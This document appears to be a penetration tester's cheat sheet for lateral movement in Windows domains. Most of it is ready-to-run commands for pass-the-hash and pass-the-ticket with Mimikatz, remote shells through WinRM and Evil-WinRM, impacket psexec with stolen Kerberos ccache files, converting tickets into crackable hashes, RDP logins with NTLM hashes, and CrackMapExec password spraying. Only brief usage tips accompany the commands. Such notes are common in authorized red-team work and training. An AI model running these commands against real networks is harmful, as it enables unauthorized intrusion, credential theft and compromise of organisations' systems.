Lateral Movement

There aren't many ways to move laterally on windows. Below are the main ones.

• psexec

• RDP

• WinRM

• SSH(not likely)

PTH(pass the hash) can be used most of the time.

Mimikatz Ticket PTT

Enable-PSRemoting
mimikatz.exe '" kerberos:ptt C:\Users\Public\ticketname.kirbi"' "exit"
Enter-PSSession -ComputerName ECORP

WinRM

$pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('ECORP.local\morph3', $pass)
Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }

# Evil-WinRM
https://github.com/Hackplayers/evil-winrm
ruby evil-winrm.rb -i 192.168.1.2 -u morph3 -p morph3 -r evil.corp

PTH with Mimikatz

Invoke-Mimikatz -Command '"sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command"'

Pass The Ccache (PTC)

Grab the ccache from remote and put into environment variable

export KRB5CCNAME=/home/morph3/Desktop/krb5cc_012345678_XXXX

Make sure the times are synced up with the DC

sudo ntpdate -u 192.168.1.231

Psexec to the target

impacket-psexec [email protected] -dc-ip 192.168.1.231 -k -no-pass

** Don't include domain name in psexec. If you are having issues with the command you may remove the username as well.

Cracking Ccache

Convert the ccache file into kirbi file using a converter.

• I use https://github.com/zer1t0/ticket_converter

python2 /opt/ticket_converter/ticket_converter.py krb5cc_012345678_XXXX ticket.kirbi

Convert kirbi to crackable hash.

• https://github.com/nidem/kerberoast

• https://github.com/jarilaos/kirbi2hashcat/blob/master/kirbi2hashcat.py

python3 /opt/kerberoast/kirbi2john.py ticket.kirbi | tee ticket_hash.txt

RDP

Impacket's rdp_check.py script is good.

impacket-rdp_check morph3:[email protected]
python3 /opt/impacket/examples/rdp_check.py ecorp/[email protected]

xfreerdp /u:morph3 /p:Password123 /v:1.3.3.7
xfreerdp /u:morph3  /pth:08df3c74ded740e1f2bcf5dea4b8daf6  /v:1.3.3.7
rdesktop 1.3.3.7 -u Administrator -p 123456

CrackMapExec

Swiss-knife tool for password spraying.

• https://github.com/byt3bl33d3r/CrackMapExec

crackmapexec smb ./ips.txt -u ./users -H hashes --local-auth
crackmapexec smb 1.3.3.7  -u ./users -p ./passwords --continue-on-success --shares